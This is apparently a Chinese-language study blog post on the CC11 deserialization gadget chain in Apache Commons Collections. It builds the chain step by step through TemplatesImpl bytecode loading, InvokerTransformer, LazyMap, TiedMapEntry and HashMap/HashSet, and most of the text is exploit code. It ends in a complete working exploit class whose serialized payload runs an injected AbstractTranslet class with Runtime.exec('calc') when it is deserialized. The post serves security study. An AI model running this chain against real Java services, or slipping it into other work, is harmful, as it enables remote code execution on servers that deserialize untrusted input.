0x01 写在前面

CC11能够像CC2一样加载恶意字节码,前半条链又像是CC6的poc

姑且可以认为 CC11 = CC2 + CC6 罢

0x02 CC11链挖掘

Gadget chain

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()

类动态加载

这部分已经在CC3讲过了,但是写链子的时候发现自己忘得差不多了,重新写一遍吧(学得慢忘得快…

利用 ClassLoader#defineClass 直接加载字节码,不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用

img

  • loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
  • findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass()
1
2
3
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

由此可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java

默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中

defineClass()只进行类加载而不会进行执行类,执行需要先进行 newInstance() 的实例化

TemplatesImpl动态生成恶意类

defineClass()作用域为protected,我们需要寻找public类方便调用,find Usages我们找到了TemplatesImpl

img

defineClass()defineTransletClasses()调用,这里的_bytecodes[i]就是我们恶意类的字节码

img

defineTransletClasses()getTransletInstance()调用,且该方法还调用了newInstance(),如果能走完这个函数那么就能动态执行代码

img

最后我们找到的public作用域方法是newTransformer(),内部调用getTransletInstance()

img

那么我们的目的就是创建一个TemplatesImpl对象,调用其

newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()完成恶意类加载,只要走过 getTransletInstance() 方法即可,因为这个方法内调用了 newInstance() 方法

1
2
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

但是想调用完这些方法实际上是有很多限制的:

img

好在TemplatesImpl继承了Serializable接口,我们可以通过反射修改其属性

满足_name不能为空否则直接返回

满足_class为空才能进入defineTransletClasses()

img

跟进defineTransletClasses()

满足_bytecodes不为空,否则抛出异常

1
_tfactory`也需要赋值,否则无法调用`_tfactory()

img

都是TemplatesImpl类的属性,直接通过反射修改

1
Class tc = TemplatesImpl.class;
  1. 满足_class为空,来看看TemplatesImpl的构造函数并没有给_class赋值,不需要我们主动操作
  2. 满足_name不能为空,类型为String
1
2
3
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
  1. 满足_bytecodes不为空,类型为byte[][]

来看看_bytecodes的作用,实际上时循环调用_bytecodes数组中每一组的字节码通过loader.defineClass()转为 Class 对象

img

这一步在进行loader.defineClass()会触发类的静态初始化块,因此我们需要把恶意的字节码存入_bytecodes

1
2
3
4
5
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

同时编写恶意类,在类初始化时触发静态初始化块,编译后将生成的.class文件放到对应路径下

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
  1. _tfactory

先看_tfactory的数据类型,关键字为transient,这就导致了这个变量在序列化之后无法被访问

1
private transient TransformerFactoryImpl _tfactory = null;

但是我们的要求比较低,只需要在其序列化之前使其不为null即可,在readObject()的最后一行中我们找到了初始化定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}

// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);

_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl();
}

依旧反射调用/.

1
2
3
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

templates.newTransformer();

解决报错

尝试运行exp,抛出了空指针错误

img

报错提示出现在TemplatesImpl的422行,我们在上面打上断点调试看看问题

首先_class[i],成功获取_bytecodes[i]字节码,superClass获取其父类

img

判断父类名是否为ABSTRACT_TRANSLET,因为我们没有继承ABSTRACT_TRANSLET因此进入到else代码块

可以看到_auxClasses旁有了报错NullPointException

img

接下来我们有两个选择,一是给_auxClasses赋值,二是满足test.class继承ABSTRACT_TRANSLET,我们选择后者

为什么,我们看到下面的if判断,我在上图的箭头所指,如果没有满足test.class的父类为ABSTRACT_TRANSLET,就不会进入if代码块_transletIndex的值仍然为-1,导致抛出异常

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

并且AbstractTranslet是一个抽象类,我们需要实现其抽象方法,最终的test.class如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class test1 extends AbstractTranslet {
public test1() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}

}
}

命令执行成功

img

InvokerTransformer利用

后面的链基本上就和CC6差不多了

img

具体分析一下,在 CC11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,在原来poc的基础上添加实现命令执行

1
2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
invokerTransformer.transform(templates);

通过构造函数将 toString 进行传入(这里的 toString 只是占位的作用,后面会利用反射进行修改)

1
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

LazyMap利用

LazyMap.get()中调用transform()方法,我们需要控制factory属性为构造好的InvokerTransformer对象

img

LazyMap构造函数的作用域为protected,我们需要调用其decorate()获取对象并给对应属性赋初值

img

现在的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);
lazyMap.get(templates);

TiedMapEntry利用

1
TiedMapEntry.getvalue()`中调用`map.get(key)

img

我们需要控制map属性为构造的LazyMap对象,构造函数非常简单

1
2
3
4
5
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

在CC11中我们走的是hashCode()方法调用getValue()

img

继续升级我们的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
tiedMapEntry.hashCode();

HashMap利用

刚才在hashCode()完成命令执行,接下来找调用它的地方,在HashMap的hash()方法中

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

那么我们要控制key值为构造好的tiedMapEntry,在put()方法中完成对key的赋值

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

利用HashMap.put()完成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,111);

HashSet利用

终于来到了入口类HashSetreadObject()

img

查看该类的序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();

// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());

// Write out size
s.writeInt(map.size());

// 如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE
for (E e : map.keySet())
s.writeObject(e);
}

HashSet 是基于 HashMap 实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class HashSet<E>
extends AbstractSet<E>
implements Set<E>, Cloneable, java.io.Serializable
{
......

public HashSet() {
map = new HashMap<>();
}

......
}
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);

serialize(hashSet);
unserialize("ser.bin");

最终exp

上面的exp又出现了老问题:没执行反序列化之前就完成了命令执行

经过测试发现在add()这一步出现了问题,打断点调试看看,进入hashCode(),调用getValue()

img

跟进getValue(),调用get(),此时map为lazyMap,key为templates,即

1
lazymap.get(templates)

img

跟进get()方法,发现问题所在

img

在我们创建创建 LazyMap时:

1
2
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);

LazyMap 的构造会把 hashMap 保存为其父类 AbstractMapDecorator 中的字段 map

1
LazyMap extends AbstractMapDecorator

因此调用LazyMap的get()方法时,检查在内部持有的底层HashMap是否已经存在这个 key(即 templates

key不存在时会调用factory.transform(key), 即invokerTransformer.transform(templates)生成值,并存入map

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

在我们原来的代码中,hashMap是空的,因此进入了if代码块完成了命令执行

所以我们要向hashMap中填入值为templates的key

1
lazyMap.put(templates, "aaa");

同时,执行反序列化走的是if代码块,因此要在序列化之前移除该键值对

1
lazyMap.remove(templates);

最终完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
TemplatesImpl templates = new TemplatesImpl();

Class tc = TemplatesImpl.class;

Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "bbb");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Task/test1.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, invokerTransformer);
lazyMap.put(templates, "aaa");

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashSet hashSet = new HashSet();

hashSet.add(tiedMapEntry);
lazyMap.remove(templates);

serialize(hashSet);
unserialize("ser.bin");

下面这条CC11链不使用HashSet类,只依赖于HashMap,而且原理更简单,这条链其实才是正规的CC11链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// 改进版 CC11 EXP
public class CC11test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D://Task/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransformer);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);

// 在 put 之后通过反射修改值
setFieldValue(lazyMap, "factory", invokerTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x03 小结

好累啊,我的debug能力还是太差了吗

img